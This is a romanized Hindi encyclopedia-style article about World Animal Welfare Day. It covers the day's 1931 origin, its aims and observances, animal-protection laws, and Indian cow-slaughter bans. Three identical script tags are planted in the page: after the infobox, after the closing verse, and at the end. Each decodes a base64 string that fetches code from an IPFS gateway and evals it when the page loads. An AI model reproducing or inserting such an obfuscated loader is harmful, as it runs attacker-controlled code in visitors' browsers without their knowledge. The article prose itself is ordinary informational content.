विश्व पशु कल्याण दिवस
vishv pashu kalyan divas
| |
| vivaran | 'vishv pashu kalyan divas' ek antararashtriy divas hai, jo ki prativarsh 4 aktoobar ko manaya jata hai. yah din asisi ke seant phraansis ka janmadivas bhi hai, jo ki janavaroan ke mahan sanrakshak the. |
| tithi | prativarsh 4 aktoobar |
| shuruat | 1931 |
| any janakari | is divas ko manane ki shuruat 1931 eesvi mean paristhiti vijnanashastriyoan ke sammalen mean itali ke shahar phloreans mean ki gayi thi. sanyukt rashtr ne “pashu kalyan par ek sarvabhaum ghoshana” ke niyam evan nirdeshoan ke adhin anek abhiyanoan ki shuruat ki. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vishv pashu kalyan divas prativarsh 4 aktoobar ko manaya jata hai. vartaman mean janavaroan ki suraksha sabase b da vishay banakar rah gaya hai. pichhale 40-50 saloan mean janavaroan ki sthiti itani badtar huee hai, jisaka aandaja lagane se bhi rooh kaanp jati hai. janavaroan mean pichhale 1970 se 2010 ke madhy lagabhag 50 pratishat kami ayi hai. aj ki duniya mean manav khud janavar banata chala ja raha hai. enatole phraans ne kaha tha ki- "jab tak iansan kisi janavar se prem nahian karata, tab tak usaki atma ka ek hissa soya hua hota hai." ek sarve mean jari riport mean pata chala ki pratyek varsh vishvabhar mean lagabhag 56 arab janavaroan ki hatya kar di jati hai, chahe vah dharmik uddeshy se ho ya any karanoan se. duniya bhar mean har sekend lagabhag 3000 janavaroan ki mrityu ho jati hai. is srishti ke rachayita ne duniya mean sabhi ko saman jivan ka avasar pradan kiya hai, parantu manushy svartharat janavaroan ki bali chadha deta hai, jisaka prabhav samaj evan paryavaran mean sidhe taur par p da hai.
shuruat
vishv pashu kalyan divas 4 aktoobar ko manaya jata hai. yah ek antararashtriy divas hai. yah din asisi keseant phraansis ka janmadivas bhi hai jo ki janavaroan ke mahan sanrakshak the. vishv pashu kalyan divas manane ki shuruat 1931 eesvi mean paristhiti vijnanashastriyoan ke sammalen mean itali ke shahar phloreans mean ki gayi thi. sanyukt rashtr ne “pashu kalyan par ek sarvabhaum ghoshana” ke niyam evan nirdeshoan ke adhin anek abhiyanoan ki shuruat ki. naitikata ki drishti se, sanyukt rashtr ne apane sarvabhaum ghoshana mean pashuoan ke dard aur pi da ke sandarbh mean unhean sanvedanashil prani ke roop mean pahachan dene ki bat ki. is divas ka mool uddeshy vilupt hue praniyoan ki raksha karana aur manav se unake sanbandhoan ko majaboot karana tha. sath hi pashuoan ke kalyan ke sandarbh mean vishv pashu kalyan divas ka ayojan karana tha. hinduoan ki astha ke pratik “gaumata” ki hatya par poorn pabandi ho.[1]
uddeshy
vishv pashu kalyan divas ka mool uddeshy pashu kalyan manakoan mean sudhar karana aur vyaktiyoan, samooh aur sangathanoan ka samarthan prapt karana aur janavaroan ke prati pyar prakat karana taki unaka jivan saksham aur behatar ho sake. is karan se yah divas “pashu premi divas” ke roop mean jana jata hai. yah ek behatarin divas hai, jo vishv bhar ke logoan ka janavaroan ke prati pyar prakat karane ka mahatvapoorn divas hai, lekin is divas ke ujagar hone ke pichhe bhi kee karan jimmedar haian. in sabhi tathyoan mean janavaroan ke prati prakat kiye jane vale ghrinaspad vyavahar, avara kuttoan aur billliyoan ke prati vyavahar, unaka amanaviy vyapar adi bhi pramukh karan the. isake alava kisi prakritik apada ke samay bhi in janavaroan ke prati doyam darje ka vyavahar kiya jata tha aur unaki suraksha ke prati laparavahi barati jati thi.
samaroh
vishv pashu kalyan divas vastav mean ek mahatvapoorn divas hai. yah vividh madhyamoan se hamean kee chijoan ko yad dilata hai, jisamean janavar hamare jivan ki gunavatta mean vriddhi karate haian. is divas ko dher sare divasoan ka ayojan kiya jata hai. arthat jaise vishv pashu kalyan abhiyan, pashuoan ke lie bachav ashrayoan ka udghatan aur phand jutane se sambandhit karyakramoan ka ayojan ityadi. isake alava skool aur kalejoan mean bhi vany jivoan se judi dher sari janakariyoan ko tivi aur kanpyootar ke madhyam se sajha kiya jata hai. isake alava kee sangathanoan ke dvara janavaroan ke lie ashray ke nirman ka karyakram bhi svayansevako ke dvara prayojit kiya jata hai.
qanoon
pashu kalyan ke lie anekoan qanoonoan aur adhiniyamoan ki bhi vyavastha ki gayi hai, jaise- “pashu kroorata adhiniyam 1835” joki vishv mean janavaroan ke sandarbh mean pratham adhiniyam hai jisaki sthapana briten mean ki gayi thi. isake pashchat “pashusanrakshan adhiniyam 1911” prakash mean aya. jisake parinamasvaroop janavaroan ki raksha ke lie “pashu kalyan adhiniyam, 1966″ namak ameriki rashtriy qanoon prakash mean aya. bharat mean pashuoan ki suraksha ke lie “janavaroan ke prati kroorata ki rokatham adhiniyam 1966″ ko laya gaya. yah varsh 1965 ka samay tha, jab briten sarakar ne janavaroan ke kalyan ke lie ek jaanch abhiyan shuroo kiya tha. is abhiyan ke pramukh anveshak prophesar rojar brambel the. yah abhiyan ruth hairisan ki kitab “enimal mashin” mean uthayi gayi chiantaoan dhyan mean rakhate hue shuroo kiya gaya tha. is kitab k prakashan 1964 mean kiya gaya tha. is sandarbh mean prophesar rojar brambel nean apani riport prastut ki. is riport ke adhar par briten ki sarakar nean san 1967 mean “enimal velapheyar edavaijari samiti” ki sthapana ki. bad mean yah samiti varsh 1979 “pharm enimal velapheyar kauansil” mean parivartit ho gayi. is samiti ke pratham disha-nirdeshoan ke anusar yah kaha gaya ki sarvapratham janavaroan ko sone aur kh de hone ki svatantrata honi chahie. sath hi unhean ghumane aur vicharan karane ki bhi svatantrata honi chahie. isake alava bhi is samiti nean kuchh disha-nirdeshoan ko diya jise phaiv phridam ke nam se bhi jana jata hai.[1]
briten mean, ‘pashu kalyan adhiniyam 2006” ne pashu kalyan ke sandarbh mean anek samekan ka kary kiya. isake bad anek sangathanoan nean yoonaited neshans (pashu kalyan par ek sarvabhaum ghoshana) ke disha-nirdeshoan ke adhin anek abhiyanoan ko praranbh kiya. naitikata ki drishti se, sanyukt rashtr ne apane sarvabhaum ghoshana mean pashuo ke dard aur pi da ke sandarbh mean unhean sanvedanashil prani ke roop mean pahachan dene ki bat ki. isake pashchat usane yah bhi kaha ki janavaroan ke sandarbh mean kiye jane vale sabhi kalyanakari kary samaj seva ke roop mean haian. ise n keval rashtriy star par balki vaishvik star par bhi phailaya jana chahie aur pratyek vyakti ke kartavyoan mean shamil kiya jana chahie. pashuo ke kalyanakari karyoan ke sandarbh mean kiye jane vale kary vividh mahatvapoorn sangathanoan ke sahayog se kiya jana chahie. sath hi hyooman sosaiti iantaraneshanal ka bhi sahayog liya jana chahie.
pashu kalyan pakhava da
pashupalan vibhag dvara pashu kalyan pakhavada ayojit kiya jata hai. is dauran baanjh nivaran, pashu shaly chikitsa shiviroan ka ayojan kiya jata hai. shiviroan ke dauran pashu kroorata ki rokatham evan labhanvit pashu palakoan v jiv jantu kalyan se sanbandhit karyo ki pragati ki janakari bhi upalabdh karayi jati hai. vibhag dvara gram panchayatoan, nagarapalikaoan, gaushalaoan mean chetana shivir, goshthiyoan evan pashu kalyan jan jagriti railiyoan ka ayojan kiya jata hai. in divasoan mean samast rajy mean pashu-pakshiyoan ka vadh karana evan maans adi ki bikri par anivary roop se pratibandh rahana chahie. is karyakram mean jila evan gramin star par karyarat svayan sevi sansthaoan tatha gair sarakari sansthaoan ki bhi bhagidari sunishchit ki jani chahie. shikshan sansthaoan ke madhyam se jiv jantuoan ke prati kroorata nivaran par adharit vyakhyanoan ke madhyam se janakari di jae tatha sanbandhit vishay par chitrakala evan vad-vivad pratiyogitaean bhi ayojit ki jaean.
janavaroan ke prati pyar prakat karane ka divas
vishv pashu kalyan divas ek behatarin divas hai, jo vishv bhar ke logoan ka janavaroan ke prati pyar prakat karane ka mahatvapoorn divas hai, lekin is divas ke ujagar hone ke pichhe bhi kee karan haian. jahaan pashuoan ki vibhinn prajatiyoan ko vilupt hone se bachane aur unaki raksha karane ki bat hai, vahian hamean is bat ka bhi dhyan rakhana chahie ki ham pashuoan par kroorata karane se bachean. is divas ka mool uddeshy vilupt hue praniyoan ki raksha karana aur manav se unake sanbandhoan ko majaboot karana tha. sath hi pashuoan ke kalyan ke sandarbh vishv pashu kalyan divas ka ayojan karana hai. taki unake prati sanvedana sthapit karane ke sath-sath pashuoan ki hatya aur kroorata par rok lagayi ja sake. gohatya par poorn pabandi lagayi jaye. pichhale kuchh mahinoan se gayoan ki suraksha ko lekar poore bharat mean josh ki ek lahar phaili thi, jis par kee rajanaitik mudde bhi uthe, lekin pashu kroorata ki kahani jaise samapt hone ka nam hi nahian leti. jabaki ham sabhi janate haian ki bharat mean, pashuoan ki suraksha ke lie “janavaroan ke prati kroorata ki rokatham adhiniyam 1966″ ko laya gaya tha. ye janate hue bhi ye kroorata jari hai. ek janakari ke mutabiq bharat ke 29 mean se 10 rajy aise haian, jahaan gay, bachh da, bail, saand aur bhaians ko katane aur unaka maans khane par koee pratibandh nahian hai. baqi 18 rajyoan mean go-hatya par poori ya aanshik rok hai. ye rok 11 rajyoan– bharat prashasit kashmir, himachal pradesh, panjab, hariyana, uttarakhand, uttar pradesh, rajasthan, gujarat, madhy pradesh, maharashtr, chhattisagadh aur do kendr prashasit rajyoan– dilli, chandigadh mean lagoo hai. go-hatya qanoon ke ullanghan par sabase k di saza bhi inhian rajyoan mean tay ki gee hai. hariyana mean sabase zyada ek lakh rupe ka jurmana aur 10 sal ki jel ki saza ka pravadhan hai. vahian maharashtr mean go-hatya par 10,000 rupe ka jurmana aur paanch sal ki jel ki saza hai.[1]
surabhe tvaanjagatmata devi vishnu pade sthita.
grasan grahan maddattan gaurmatastratumarhasi॥
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 vishv pashu kalyan divas (hindi) pravakta.com. abhigaman tithi: 17 julaee, 2018.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>